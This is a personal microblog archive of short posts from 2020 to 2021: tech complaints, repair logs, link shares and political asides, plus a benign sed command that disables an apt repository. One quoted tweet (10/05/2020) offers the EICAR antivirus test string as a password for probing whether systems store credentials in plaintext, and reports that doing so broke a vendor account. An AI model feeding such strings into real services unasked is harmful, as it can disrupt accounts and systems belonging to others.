[2] https://github.com/w3c/webappsec-permissions-policy/blob/main/features.md

March

╒═════╣▒ 03/26/2021 @12:50 ▒╟──────────┘

«This is me»¹, 90% of the time I'm watching Youtube videos, though... slightly louder.

[1] https://twitter.com/krisstraub/status/1375480239418003458

╒═════╣▒ 03/24/2021 @21:26 ▒╟──────────┘

I can't believe it took Mozilla *4 years* to support «native fullscreen on MacOS»¹. I can believe they locked it away behind a byzantine about:config setting though.

[1] https://bugzilla.mozilla.org/show_bug.cgi?id=1403085

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╒═════╣▒ 03/20/2021 @20:51 ▒╟──────────┘

«Stuff like this»¹ really helps demystify GUI programming for me — something I've never really spent the time to get my head around. There is so much handwaving and "oh that is handled by the framework" which I think is part of the unfortunate series of events that lead to dumpster fires like Electron.

tl;dr, go watch «Dave's Garage»²

[1] https://www.youtube.com/watch?v=JlZe2JwrJqM

[2] https://www.youtube.com/channel/UCNzszbnvQeFzObW0ghk0Ckw

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╒═════╣▒ 03/19/2021 @23:16 ▒╟──────────┘

I swear, I was only playing «Cyberpunk 2077»¹ this evening because I was testing this Grafana dashboard.

[1] https://www.going-flying.com/~mernisse/screenshots/Games/Cyberpunk%202077/html/photomode_19032021_174054_png.html

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╒═════╣▒ 03/05/2021 @21:23 ▒╟──────────┘

While catching up on comp.sys.raspberry-pi I noticed a bit of an uproar over Raspbian adding the VSCode package repository to the system. All my Raspberry Pis are headless appliances so a quick addition to my Ansible playbook made quick work of that.

- name: disable microsoft repository
  shell: if grep -q '^deb.*microsoft\.com'
    /etc/apt/sources.list.d/vscode.list; then
    sed -i '/^deb.*microsoft\.com/ s/^/# /'
    /etc/apt/sources.list.d/vscode.list;
    fi

If you don't use Ansible, this sed(1) command should do what you want.

sed -i '/^deb.*microsoft\.com/ s/^/# /' /etc/apt/sources.list.d/vscode.list

╒═════╣▒ 03/03/2021 @16:59 ▒╟──────────┘

Every few months when I go back to check up on the few «USENET»¹ groups that I still follow I can't help but shake my head at how much usability we threw away poorly porting^W "re-inventing" everything for profit^W the web. Entire generations growing up without proper threading or «killfiles»².

[1] https://en.wikipedia.org/wiki/Usenet

[2] https://en.wikipedia.org/wiki/Kill_file

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╒═════╣▒ 03/01/2021 @16:27 ▒╟──────────┘

Double March. The date is now Monday, March 366th, 2020. Sorry, you don't get a new March until you've finished the last one. If you see anyone claiming that today is March 365th, congratulate them on fucking up their leap year math. perl -e 'use... «https://t.co/Hhp62JW38s»¹— j͕̠̦̪͕̓͛̊̾̄ͅw̧̧̳̪̘͊̋͗̾͢͠z̢̘̞͈̺̞̩̓̽̐̋͗̆̋̚͟͜ (@jwz) «March 1, 2021»²

[1] https://t.co/Hhp62JW38s

[2] https://twitter.com/jwz/status/1366436622535909379?ref_src=twsrc%5Etfw

February

╒═════╣▒ 02/22/2021 @14:35 ▒╟──────────┘

Why have we not shamed Bitcoin into irrelevance yet?

(via «jwz»¹)

[1] https://www.jwz.org/blog/2021/02/stop-adding-bitcoin-as-a-checkout-option-like-its-not-a-planet-killer/

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╒═════╣▒ 02/18/2021 @15:59 ▒╟──────────┘

Congrats to the «@NASAPersevere»¹ team for their successful touchdown on the surface of Mars.

[1] https://twitter.com/NASAPersevere

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╒═════╣▒ 02/12/2021 @10:24 ▒╟──────────┘

«Mood.»¹(«Image Credit)»²

[1] https://www.youtube.com/watch?v=uc3SzRiXTAY

[2] https://www.jpl.nasa.gov/news/pale-blue-dot-images-turn-25

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╒═════╣▒ 02/11/2021 @10:21 ▒╟──────────┘

«This»¹ is a pretty good look at some of the glaring trust problems with programming language package repositories. Personally, I don't use npm at all, and for Python I prefer to either stick to the standard library or use packages provided by my distribution. You can never audit all that code, so how can you trust it?

[1] https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610

╒═════╣▒ 02/01/2021 @20:02 ▒╟──────────┘

What I find most amazing about «BBC Micro Bot»¹ is that is emulating a BBC Micro computer, with it's plucky little «6502»² processor... in JavaScript. Oh and it's running a dump of the original BASIC ROM in there to turn «code»³ in a a tweeter into video.

[1] https://www.bbcmicrobot.com

[2] https://en.wikipedia.org/wiki/MOS_Technology_6502

[3] https://bbcmic.ro/?load=1244318975695208448

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╒═════╣▒ 02/01/2021 @11:15 ▒╟──────────┘

I am equally in a place of 'how is this a thing?!' and 'OF COURSE THIS IS A THING!'.

«https://twitter.com/AppleIIBot/status/1355958684367548417»¹

[1] https://twitter.com/AppleIIBot/status/1355958684367548417

January

╒═════╣▒ 01/25/2021 @13:20 ▒╟──────────┘

Hello friends. As I said in the latest episode...Hero of Two Worlds has a cover! «pic.twitter.com/XVm9nAQfRg»¹— Mike Duncan (@mikeduncan) «January 25, 2021»²

Highly anticipated and now pre-ordered.

[1] https://t.co/XVm9nAQfRg

[2] https://twitter.com/mikeduncan/status/1353751555019833349?ref_src=twsrc%5Etfw

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╒═════╣▒ 01/18/2021 @20:30 ▒╟──────────┘

The Internet was a Mistake. TeenageStepdad: «https://t.co/9pgOWtgHGz»¹— j͕̠̦̪͕̓͛̊̾̄ͅw̧̧̳̪̘͊̋͗̾͢͠z̢̘̞͈̺̞̩̓̽̐̋͗̆̋̚͟͜ (@jwz) «January 18, 2021»²

[1] https://t.co/9pgOWtgHGz

[2] https://twitter.com/jwz/status/1351273017431773186?ref_src=twsrc%5Etfw

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╒═════╣▒ 01/14/2021 @14:07 ▒╟──────────┘

I thought I ranted a lot about Apple's poor engineering direction lately... 😆 «This guy»¹ has me beat.

[1] https://macperformanceguide.com/autoTopic.html?dglyTP=Apple%20Core%20Rot

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╒═════╣▒ 01/13/2021 @20:11 ▒╟──────────┘

Ironically, staging an insurrectionary riot at the capitol has driven corporate money from politics. Vive la revolution?— Mike Duncan (@mikeduncan) «January 13, 2021»¹

[1] https://twitter.com/mikeduncan/status/1349461360611106816?ref_src=twsrc%5Etfw

╒═════╣▒ 01/13/2021 @15:10 ▒╟──────────┘

Ugh. Work laptop updated to Big Sur last night. Whoever did the UI design clearly thinks that iOS is the pinnacle of UX. The modal dialog boxes are a travesty, cranking up the padding on all the UI elements to fit the new border radius on everything is a huge waste of space, all the contrast is completely gone. I'm sure many users won't notice but I can't imagine long time Mac users thinking this is actually an improvement.

╒═════╣▒ 01/08/2021 @21:16 ▒╟──────────┘

I'm not usually into computer cases marketed towards gamers (my gaming PC is in as small a case as I could fit it in, which is my jam) but the «Fractal Design Node 804»¹ has been easy to work on so far and has a minimal number of silly gamer things (really just a window). I think it is silly it only has mounts for only 8 3½ inch hard drives. There is room for at least 12 in there.

[1] https://www.fractal-design.com/products/cases/node/node-804/black/

╒═════╣▒ 01/08/2021 @20:47 ▒╟──────────┘

Still no APU, but I have all the other bits for «na-tardis»¹ So I might as well do a test fit. So far so good!

[1] https://www.going-flying.com/network.html

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╒═════╣▒ 01/08/2021 @09:38 ▒╟──────────┘

Happy «March 313, 2020»¹, the good news is that there will be «no leap second»² added if we ever make it to June 2021.

[1] https://bennie2.blob.core.windows.net/deploy/date.html

[2] https://datacenter.iers.org/data/latestVersion/16_BULLETIN_C16.txt

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╒═════╣▒ 01/07/2021 @19:32 ▒╟──────────┘

Clamshell replaced and tested good in an hour 42. Not bad. Could have been faster if I didn't miss the backlight cable and bury the mic cable the first time I put the logic board in. No spare fasteners, which I take as a bad omen.

╒═════╣▒ 01/07/2021 @19:09 ▒╟──────────┘

Keys all work! Backlight troubleshooting time...

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╒═════╣▒ 01/07/2021 @18:35 ▒╟──────────┘

When we joke about technology being held together by bubble gum and string, we aren't quite as literal as Apple...

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╒═════╣▒ 01/07/2021 @18:24 ▒╟──────────┘

About half way through reassembly. Signs of life.

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╒═════╣▒ 01/07/2021 @18:18 ▒╟──────────┘

I love how easy it is to replace the "e" key on my obsessively engineered Apple product...

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╒═════╣▒ 01/06/2021 @22:00 ▒╟──────────┘

Just waiting for somone to restock of the Ryzen 3400G so I can finish the upgrade of «tardis»¹. I refuse to pay the scalpers.

[1] https://www.going-flying.com/network.html

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╒═════╣▒ 01/03/2021 @02:03 ▒╟──────────┘

Man... I thought I had an infatuation with LEDs... «Friday Night Lites - Fly at Night»¹

[1] https://www.youtube.com/watch?v=iUfq6sFnExY

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╒═════╣▒ 01/01/2021 @01:37 ▒╟──────────┘

In spite of being «wildly profitable»¹ during the pandemic «Apple has received almost a billion dollars in welfare»²?! Yeah. It might be time to resurrect Madame la Guillotine.

[1] https://www.apple.com/newsroom/2020/10/apple-reports-fourth-quarter-results/

[2] https://brokeassstuart.com/2020/12/30/which-companies-you-should-shoplift-from/

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╒═════╣▒ 01/01/2021 @01:30 ▒╟──────────┘

I have been a long time shadow member of «alt.fan.jwz»¹ and even though I live a continent away I am a proud supporter of the «DNA Lounge Patreon»². I think the «latest»³ from jwz on the DNA Lounge blog shows how worthy a cause this is, even if you never actually go there.

[1] https://www.jwz.org

[2] https://www.patreon.com/dnalounge/

[3] https://www.dnalounge.com/backstage/log/2020/12/31.html

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╒═════╣▒ 01/01/2021 @01:08 ▒╟──────────┘

The first car that I owned was a 1985 Mazda RX-7 GSL-SE with a 13B rotary engine. As such «this»¹ is 100% my jam.

[1] https://www.youtube.com/watch?v=bjjxmNPnIOE

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2020

December

╒═════╣▒ 12/31/2020 @09:44 ▒╟──────────┘

This is a really amazing look into the construction of the «BioNTech/Pfizer SARS-CoV-2 mRNA vaccine»¹. It shows that in scientific endeavor almost nothing is done in a vacuum, and that decades of research in seemingly unrelated subjects can come together in a time of need to create miracles.

[1] https://berthub.eu/articles/posts/reverse-engineering-source-code-of-the-biontech-pfizer-vaccine/

╒═════╣▒ 12/19/2020 @20:35 ▒╟──────────┘

Wait, the guy who wrote taskman.exe is on «YouTube»¹ telling stories and building things with «RGB LEDs»²? I know what I'm doing for the next several hours.

[1] https://www.youtube.com/channel/UCNzszbnvQeFzObW0ghk0Ckw

[2] https://www.youtube.com/watch?v=iX0YGp0poUQ

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╒═════╣▒ 12/16/2020 @19:29 ▒╟──────────┘

I feel like I shouldn't have had to spend an hour searching for this «stupid change»¹ in Docker 20.10. I get that people reasonably think that it's a positive change for security (which people will likely promptly turn off) but either Debian or Docker (or both) dropped the ball because it broke every single one of my deployments and I had to go figure out why by searching. Nothing obvious in systemd's journal, nothing obvious in syslog, just cryptic ass OpenSSL errors. The documentation wasn't updated anywhere obvious, certainly not the daemon's help text (dockerd --help), or the manpage (dockerd(8)), or the «canonical release notes»². Setting --tlsverify=false even being a thing was something I had to infer from the PR. I guess 'not being able to use the API' counts as secure at least. 🙄

[1] https://github.com/moby/moby/pull/41285

[2] https://docs.docker.com/engine/release-notes/

╒═════╣▒ 12/14/2020 @22:37 ▒╟──────────┘

«pic.twitter.com/gtoOm93PeM»¹— itsagundam (@GundamIsHere) «December 14, 2020»²

[1] https://t.co/gtoOm93PeM

[2] https://twitter.com/GundamIsHere/status/1338576194820845575?ref_src=twsrc%5Etfw

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╒═════╣▒ 12/12/2020 @20:06 ▒╟──────────┘

A new «Clickspring»¹ post?! Christmas came early!

[1] https://www.youtube.com/watch?v=MkKgdq57uOo

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╒═════╣▒ 12/12/2020 @19:29 ▒╟──────────┘

I'm going to need to build a handful of «these»¹ for all the power banks I have!

[1] https://www.youtube.com/watch?v=lOL3ic8msas

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╒═════╣▒ 12/12/2020 @19:26 ▒╟──────────┘

I don't care if you like cooking or not, you really must watch Alex's just-completed series on «sauces»¹. It may re-define what you think about sauce.

[1] https://www.youtube.com/playlist?list=PLURsDaOr8hWX1T2WSXhPwL110La-GxjYY

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╒═════╣▒ 12/09/2020 @16:03 ▒╟──────────┘

I mean... no shit? Water is wet and the sky is blue unless your state is on fire...

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╒═════╣▒ 12/09/2020 @15:53 ▒╟──────────┘

This is why I never used Chrome and don't ever login to my GMail account... Google continues to prove that its users are its products and I want none of that.

Two years ago, Google modified Chrome to automatically sign users in without their consent. But, we were told, this wouldn’t send your content to Google — that would still require users to press the “sync” button.Shocker: guess what’s happening now. «https://t.co/MOPQbjFlWr»¹— Matthew Green (@matthew_d_green) «December 9, 2020»²

«Previously...»³

[1] https://t.co/MOPQbjFlWr

[2] https://twitter.com/matthew_d_green/status/1336677175412527107?ref_src=twsrc%5Etfw

[3] https://blog.cryptographyengineering.com/2018/09/23/why-im-leaving-chrome/

November

╒═════╣▒ 11/29/2020 @22:36 ▒╟──────────┘

In case you still think that corporations ever think of humans as anything other than resources to be managed, note that trillion and billion dollar multi-nationals are nit picking over not supporting slavery, in 2020... «https://www.nytimes.com/2020/11/29/business/economy/nike-coca-cola-xinjiang-forced-labor-bill.html»¹

[1] https://www.nytimes.com/2020/11/29/business/economy/nike-coca-cola-xinjiang-forced-labor-bill.html

╒═════╣▒ 11/24/2020 @22:59 ▒╟──────────┘

That one is wise.

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╒═════╣▒ 11/23/2020 @22:25 ▒╟──────────┘

Oh look, someone else's «IoT build log»¹ turns out to be a perfect illustration to why I have no desire to have any of that garbage in my life. I'll leave debugging someone else's science project when I need to turn on a light after a power outage to other people.

[1] https://www.troyhunt.com/iot-unravelled-part-1-its-a-mess-but-then-theres-home-assistant/

╒═════╣▒ 11/23/2020 @15:00 ▒╟──────────┘

I rewrote some of the image processing pipeline for Thoughts today to simplify things a bit. Let me know if anything ends up looking... different, especially if you are using the RSS feed.

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╒═════╣▒ 11/22/2020 @15:06 ▒╟──────────┘

It turns out that by listening to science and having a plan, we could have actually still had a good time this year. «https://www.jwz.org/blog/2020/11/taiwan/»¹

[1] https://www.jwz.org/blog/2020/11/taiwan/

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╒═════╣▒ 11/22/2020 @14:55 ▒╟──────────┘

There are some absolute gems being restored to life in the «Internet Archive's»¹«flash software collection»². Wonderful old gems about «cows»³, «bases»⁴, «Badgers»⁵, «monkeys»⁶, «a horse»⁷ and so much more.

[1] https://archive.org/

[2] https://archive.org/details/softwarelibrary_flash?sort=titleSorter

[3] https://archive.org/details/cows_with_guns_202011

[4] https://archive.org/details/flash_allyourbase

[5] https://archive.org/details/flash_badger

[6] https://archive.org/details/dancemonkeys

[7] https://archive.org/details/466-horse-3

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╒═════╣▒ 11/21/2020 @16:40 ▒╟──────────┘

So, there's Google, trying to split the web again. Google will be knocking out an entire Browser ecosystem by making it you can't log into Google services without their special browser webkit.«https://t.co/aYYtv2bWKx»¹— Jason Scott (@textfiles) «November 21, 2020»²

It's almost like they are acting like a monopoly... weird.

[1] https://t.co/aYYtv2bWKx

[2] https://twitter.com/textfiles/status/1330150314406780928?ref_src=twsrc%5Etfw

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╒═════╣▒ 11/21/2020 @12:51 ▒╟──────────┘

On what planet «can you buy only part of a contract»¹? *“I'll take the bits where I get to use your work but you can keep the parts that say I have to pay you.”* Yeah, I'm sure that is how contracts work.

[1] https://www.youtube.com/watch?v=ScyxcrEOjJo

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╒═════╣▒ 11/21/2020 @12:10 ▒╟──────────┘

Is there anything quite as hilariously tone-deaf as «billionaires having a slap fight»¹?

[1] https://www.youtube.com/watch?v=VQv5_9TpRF0

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╒═════╣▒ 11/20/2020 @15:58 ▒╟──────────┘

People are uploading true classic flashes thought otherwise lost. Here's a personal favorite: FLY GUY by Trevor Van Meter. «https://t.co/zxf4XQqMFN»¹Right-click on it, set it to full-screen, and press arrow keys around. It's amazing. «pic.twitter.com/lc6K8zVsoA»²— Jason Scott (@textfiles) «November 20, 2020»³

[1] https://t.co/zxf4XQqMFN

[2] https://t.co/lc6K8zVsoA

[3] https://twitter.com/textfiles/status/1329839581689245696?ref_src=twsrc%5Etfw

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╒═════╣▒ 11/17/2020 @12:07 ▒╟──────────┘

Oh, remember all those times I bitched about «Home Control turning itself back on after reboot»¹? Now Siri is doing it for the Podcasts app. I am not sure why the Siri options are even available as the profile I have forbids Siri, but it isn't like Apple has cared about software quality for the last decade so I suppose I should be happy the thing works at all.

[1] https://www.going-flying.com/thoughts/1600295997.html

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╒═════╣▒ 11/17/2020 @11:54 ▒╟──────────┘

Almost everything these days that says *BLOCKCHAIN!* on it anywhere is a sham to try to extract money from venture capitalists and angel investors. Anyone who tells you otherwise is at best wrong and at worst profiting from it. I usually just point at «Matt Blaze»¹ when conversation turns to electronic voting but now you can also point at «Bruce Schneier»² who has a link to the obligatory «XKCD»³ and a new MIT paper on the topic. tl;dr though, software is *awful* and doesn't actually address any of the problems we have with voting. How about we «fix the Post Office»⁴ instead? #PostalBankingTooPlease

[1] https://twitter.com/mattblaze/status/1034486679925678080?lang=en

[2] https://www.schneier.com/blog/archives/2020/11/on-blockchain-voting.html

[3] https://xkcd.com/2030/

[4] https://www.youtube.com/watch?v=IoL8g0W9gAQ

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╒═════╣▒ 11/16/2020 @16:55 ▒╟──────────┘

Rapid antigen tests trade sensitivity for speed. They return a result in <30 minutes, but can only detect COVID-19 when you're absolutely riddled with it. What's bogus is that Space Karen didn't read up on the test before complaining to his millions of followers. «pic.twitter.com/a1Snfpm03h»¹— Emma Bell PhD (@emmabell42) «November 14, 2020»²

Welp, there goes thinking of «@elonmusk»³ as anything other than Space Karen ever again.😂

[1] https://t.co/a1Snfpm03h

[2] https://twitter.com/emmabell42/status/1327586649765769218?ref_src=twsrc%5Etfw

[3] https://twitter.com/elonmusk

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╒═════╣▒ 11/16/2020 @10:13 ▒╟──────────┘

«Why Isn’t Dread Lord Nyarlathotep Respecting Our Time-Honored Peaceful Transition of Power?»¹

[1] https://www.mcsweeneys.net/articles/why-isnt-dread-lord-nyarlathotep-respecting-our-time-honored-peaceful-transition-of-power

╒═════╣▒ 11/14/2020 @00:44 ▒╟──────────┘

To be clear, I'm not opposed to a shut down for health purposes.What I oppose is our leaders, and their corporate funders, demanding that working people shoulder the burden of the shutdown while Jeff Bezos, landlords etc get richer.This is medieval.— The British History Podcast (@BritishPodcast) «November 13, 2020»¹

[1] https://twitter.com/BritishPodcast/status/1327362937611173888?ref_src=twsrc%5Etfw

╒═════╣▒ 11/13/2020 @17:30 ▒╟──────────┘

It was super charming to watch Z and his dad «rock the W in CoD»¹.

[1] https://www.youtube.com/watch?v=MbjoDtHMGmQ

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╒═════╣▒ 11/13/2020 @09:34 ▒╟──────────┘

I'm up, so I may as well post Friday's super controversial strip. «pic.twitter.com/e32JlzER5n»¹— Gabe (@cwgabriel) «November 13, 2020»²

They are both right. The present day shit in AC has always been the worst part of the game and nuts in brownies are *correct*.

[1] https://t.co/e32JlzER5n

[2] https://twitter.com/cwgabriel/status/1327169856710475782?ref_src=twsrc%5Etfw

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╒═════╣▒ 11/12/2020 @20:54 ▒╟──────────┘

Clearly a release that necessitates a minor version bump... so many emojis.

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╒═════╣▒ 11/11/2020 @16:27 ▒╟──────────┘

Speaking of another monopoly that should be put head first into a wood chipper... «Ticketmaster is the worst»¹ (via jwz).

[1] https://www.jwz.org/blog/2020/11/ticketbastard-wants-your-medical-records/

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╒═════╣▒ 11/11/2020 @13:59 ▒╟──────────┘

In today's episode of crap frontend developers think is totally fine: 20,000+ lines of <style> in <head>.

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╒═════╣▒ 11/10/2020 @14:06 ▒╟──────────┘

I'm sick of these awful «§ 230»¹ takes and all of the big tech censorship claims. I'm sorry but YouTube and Twitter are the digital equivalent of private property and the «First Amendment»² (US Const. ammed. I) doesn't have anything to say on what someone else's website can and cannot do with information you submit, however; it is likely that the confusion is the result of most of the tech giants being monopolies. Instead of worrying about imposing legislation that creates moderation standards, how about we fix the root cause instead. eg: U.S. v. AT&T («552 F. Supp. 131 (D. D.C. 1982)»³).

[1] https://www.law.cornell.edu/uscode/text/47/230

[2] https://www.law.cornell.edu/constitution/first_amendment

[3] https://en.wikipedia.org/wiki/United_States_v._AT%26T

╒═════╣▒ 11/10/2020 @09:51 ▒╟──────────┘

How you know your front-end developers are pros... 🙄

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╒═════╣▒ 11/09/2020 @21:31 ▒╟──────────┘

Leonard French has a really well reasoned look «at fair use and live streaming»¹ that is well worth the watch if you are at all interested. There is a *LOT* of confusion around fair use in the context of copyright and he does a really good job on his channel going through it. Bonus quick look at BGM in streams at the end.

[1] https://m.youtube.com/watch?v=fqmzxw0t6Ok

╒═════╣▒ 11/08/2020 @10:17 ▒╟──────────┘

• Technical debt as a lack of understanding*

An apostate «advocates»¹ understanding the software you work on and the reasons for its design. Hackernews spends the afternoon trying to come up with a complicated metaphor to explain this concept to people who are not software engineers, which is a tremendous waste of time, *because people who are not software engineers would take it for granted that you need to understand the things you work on for a living.*

(«via»²)

[1] https://daverupert.com/2020/11/technical-debt-as-a-lack-of-understanding/

[2] http://n-gate.com/hackernews/2020/11/07/0/

╒═════╣▒ 11/07/2020 @22:46 ▒╟──────────┘

One down. One to go. «pic.twitter.com/eQYi1pBqku»¹— Sacha Baron Cohen (@SachaBaronCohen) «November 7, 2020»²

[1] https://t.co/eQYi1pBqku

[2] https://twitter.com/SachaBaronCohen/status/1325223702506696704?ref_src=twsrc%5Etfw

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╒═════╣▒ 11/06/2020 @20:27 ▒╟──────────┘

Why can't we have nice things and just be responsible adults? «https://www.dnalounge.com/backstage/log/2020/11/06.html»¹

[1] https://www.dnalounge.com/backstage/log/2020/11/06.html

╒═════╣▒ 11/05/2020 @14:05 ▒╟──────────┘

I suspect I have a series of blog posts to write...

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╒═════╣▒ 11/04/2020 @07:58 ▒╟──────────┘

Looks like spending $200 million «bought»¹ the tech sector more time to create a whole class of 21st century serfs. How wonrerful.

[1] https://www.nytimes.com/2020/11/04/technology/california-uber-lyft-prop-22.html

October

╒═════╣▒ 10/27/2020 @14:43 ▒╟──────────┘

Same.

Ok so... after decades of thinking “what’s your favorite animal?” is a fucking weird ass question (because it is), I have finally decided upon... raccoons. I just.. I understand them now. They’re just hanging out. They got tiny hands and they want your trash. I fuckin get it.— April O'Neil (@undeux) «October 26, 2020»¹

[1] https://twitter.com/undeux/status/1320646100722696194?ref_src=twsrc%5Etfw

╒═════╣▒ 10/23/2020 @09:33 ▒╟──────────┘

"I must not fear.

Fear is the mind-killer.

Fear is the little-death that brings total obliteration.

I will face my fear.

I will permit it to pass over me and through me.

And when it has gone past I will turn the inner eye to see its path.

Where the fear has gone there will be nothing. Only I will «remain»¹ ."

[1] https://www.instagram.com/p/CGqdFoenpbR/

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╒═════╣▒ 10/22/2020 @13:02 ▒╟──────────┘

My iPhone 7 and I agree. «https://brokeassstuart.com/2020/10/21/why-you-should-not-buy-the-iphone-12/»¹ ლ(ಠ益ಠლ)

[1] https://brokeassstuart.com/2020/10/21/why-you-should-not-buy-the-iphone-12/

╒═════╣▒ 10/21/2020 @14:50 ▒╟──────────┘

Feels good. Remind me why we don't allow vote by mail here every year?

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╒═════╣▒ 10/19/2020 @19:05 ▒╟──────────┘

Social media would be so much better if it had a «killfile»¹, or threads, or basically any feature invented 40 years ago, or respect for real live human beings.

[1] https://www.jwz.org/blog/2020/10/ill-take-problems-we-solved-correctly-in-the-80s-for-100-alex/

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╒═════╣▒ 10/13/2020 @16:38 ▒╟──────────┘

You had one job with the «iPhone 12»¹, Apple. That job was USB-C. Welp.

[1] https://www.apple.com/iphone-12/specs/

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╒═════╣▒ 10/13/2020 @15:57 ▒╟──────────┘

«20 minutes of artisanal Nixie Tube production»¹ (via: «jwz»²)

[1] https://www.youtube.com/watch?v=BnV98v7IQns

[2] https://www.jwz.org/blog/2020/09/20-minutes-of-extremely-soothing-artisanal-nixie-tube-production/

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╒═════╣▒ 10/13/2020 @10:05 ▒╟──────────┘

Ok, so I came across Mozilla's list of «'big tech alternatives'»¹, and the only product listed that I didn't know about already (and not need) was this Jumbo thing. Talk about an awful website. Hey, how about you TELL ME WHAT YOU DO before you harvest my e-mail address? Especially for something that wanks on about being privacy focused.

[1] https://blog.mozilla.org/firefox/join-the-anti-establishment/

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╒═════╣▒ 10/07/2020 @11:43 ▒╟──────────┘

Why did the UI "experts" at Apple think that instead of using the same type of indicators they use for Location Services being in use that they'd leave a couple debug indicators compiled into a release build?

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╒═════╣▒ 10/05/2020 @09:52 ▒╟──────────┘

Yikes. I bet more places than you think would react... poorly to this test.

Ever want to test systems & see if your password is ever stored/sent in plaintext?Make it: X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*I am on the phone with a vendor right now because my test account is in an inoperable state.🧐— Greg Linares (@Laughing_Mantis) «September 22, 2020»¹

[1] https://twitter.com/Laughing_Mantis/status/1308212643723767809?ref_src=twsrc%5Etfw

September

╒═════╣▒ 09/30/2020 @09:16 ▒╟──────────┘

Excellent.

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╒═════╣▒ 09/29/2020 @21:37 ▒╟──────────┘

Today's «xkcd»¹ contains so much truth.

[1] https://xkcd.com/2365/

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╒═════╣▒ 09/24/2020 @20:53 ▒╟──────────┘

«This»¹ is an interesting retrospective on filesystems. It does leave me wondering — would we have to keep inventing new APIs if we just had the same things we had back in the 1970s? After a while I remember that this is all of computing and go back to doing something else.

[1] https://weinholt.se/articles/non-posix-filesystems/

╒═════╣▒ 09/24/2020 @08:20 ▒╟──────────┘

«*sigh* Mozilla...»¹ Also, people sometimes look at me funny when they find out that I don't use Google stuff. That is a thing people sometimes do...

[1] https://www.jwz.org/blog/2020/09/this-is-a-pretty-dire-assessment-of-mozilla/

╒═════╣▒ 09/24/2020 @07:58 ▒╟──────────┘

So... how do we «#DefundSiliconValley»¹ ?

[1] https://brokeassstuart.com/2020/09/22/disgraceful-new-gig-economy-app-wants-to-be-uber-but-for-evicting-people/

╒═════╣▒ 09/23/2020 @12:59 ▒╟──────────┘

Today is clearly going to be a good computer day...

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╒═════╣▒ 09/21/2020 @21:36 ▒╟──────────┘

Wait, people care about «Bethesda»¹ still? Have they made anything good since Skyrim in 2011?

[1] https://www.nytimes.com/2020/09/21/technology/microsoft-zenimax-video-game-deal.html

╒═════╣▒ 09/21/2020 @17:48 ▒╟──────────┘

I was going to embed this here but the code to do that is almost 7200 characters log because social media engineers are pretty much universally bad at their jobs. Anyway, «I agree with @chris.randall»¹.

[1] https://www.instagram.com/p/CFZ3RHLBGSV/

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╒═════╣▒ 09/21/2020 @16:37 ▒╟──────────┘

One of the things that I love about old equipment is that gear used to be built with serviceability in mind. This Onkyo tuner has a single sided PCB with the track layout silk screened on the top so it can be troubleshot without disassembly. That is how you know they cared.

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╒═════╣▒ 09/20/2020 @16:46 ▒╟──────────┘

I can think of much worse ways to spend my birthday weekend...

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╒═════╣▒ 09/19/2020 @20:43 ▒╟──────────┘

«https://logicmag.io/care/built-to-last/»¹

[1] https://logicmag.io/care/built-to-last/

╒═════╣▒ 09/16/2020 @22:37 ▒╟──────────┘

So, I know this isn't new but can we get a way to turn this iOS Podcasts.app downloading pause "feature" off? I bought the extra storage for a reason, so like, keep downloading.

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╒═════╣▒ 09/16/2020 @19:23 ▒╟──────────┘

Can you hide the new iOS App Library screen? No, of course not. Why would you want that? We only give you features you want here at Apple. 🙄

╒═════╣▒ 09/16/2020 @18:39 ▒╟──────────┘

The home control bug is still there at least. «Previously»¹, «previously»², «previously»³.

[1] https://www.going-flying.com/blog/home-control-setting-still-resets-to-on-in-ipados-131-beta.html

[2] https://www.going-flying.com/blog/ok-so-ios-112-fixes-most-of-what-i-hated-most.html

[3] https://www.going-flying.com/blog/first-impressions-of-ios-11.html

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╒═════╣▒ 09/16/2020 @18:31 ▒╟──────────┘

Oh hey, iOS 14 is here and I'm glad the new Music icon was 2.4GB and required a reboot.

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╒═════╣▒ 09/16/2020 @10:23 ▒╟──────────┘

Instead of sleeping last night I stumbled down a rabbit hole by the name of Kevlin Henney. «1968»¹, «Agility ≠ Speed»², «The Forgotten Art of Structured Programming»³.

[1] https://www.youtube.com/watch?v=KjgvffBlWAg

[2] https://www.youtube.com/watch?v=kmFcNyZrUNM

[3] https://www.youtube.com/watch?v=SFv8Wm2HdNM

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╒═════╣▒ 09/16/2020 @10:08 ▒╟──────────┘

«https://inessential.com/2020/07/28/untrue»¹ is a good walk through some of the BS I keep seeing about the Apple App Store ecosystem.

[1] https://inessential.com/2020/07/28/untrue

╒═════╣▒ 09/15/2020 @12:15 ▒╟──────────┘

I don't know why I made «this»¹, but it sure amuses me.

[1] https://bennie2.blob.core.windows.net/deploy/date.html

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╒═════╣▒ 09/12/2020 @13:11 ▒╟──────────┘

«I never thought I'd see the Lockpicking Lawyer call a lock unpickable...»¹ of course it ended up being German.

[1] https://www.youtube.com/watch?v=-FUQ6ZxTkM8

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╒═════╣▒ 09/11/2020 @10:51 ▒╟──────────┘

Having run my own e-mail infrastructure for at least 15 years this strikes close to my heart. «https://battlepenguin.com/tech/how-google-and-microsoft-made-email-unreliable/»¹

[1] https://battlepenguin.com/tech/how-google-and-microsoft-made-email-unreliable/

╒═════╣▒ 09/10/2020 @22:16 ▒╟──────────┘

I am glad I didn't follow the iFixit instructions for replacing the battery on my A1398 MacBook Pro. It was a lot easier than they made it out to be. Now I do not have to buy a new laptop for several more years! 😁 #RightToRepair

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╒═════╣▒ 09/10/2020 @22:03 ▒╟──────────┘

«Do not buy this asshole's book»¹

[1] https://www.mcsweeneys.net/articles/all-the-presidents-book-deals

╒═════╣▒ 09/10/2020 @20:46 ▒╟──────────┘

In case you were wondering what the Sturgis Motorcycle rally cost...«http://ftp.iza.org/dp13670.pdf»¹

New «@SDSUCHEPS»² paper by Dhaval Dave «@FriedsonAndrew»³ «@Drew_McNichols»⁴ & Joe Sabia ("Contagion Externality of Super-spreader") finds Sturgis Motorcycle Rally was a local & nationwide spreader of COVID-19. Estimated public health cost: ~$12B See: «https://t.co/uByz9ja6hL»⁵ «pic.twitter.com/jdLlLkwRek»⁶— CHEPS (@SDSUCHEPS) «September 6, 2020»⁷

[1] http://ftp.iza.org/dp13670.pdf

[2] https://twitter.com/SDSUCHEPS

[3] https://twitter.com/FriedsonAndrew

[4] https://twitter.com/Drew_McNichols

[5] https://t.co/uByz9ja6hL

[6] https://t.co/jdLlLkwRek

[7] https://twitter.com/SDSUCHEPS/status/1302480031638147074

╒═════╣▒ 09/10/2020 @19:38 ▒╟──────────┘

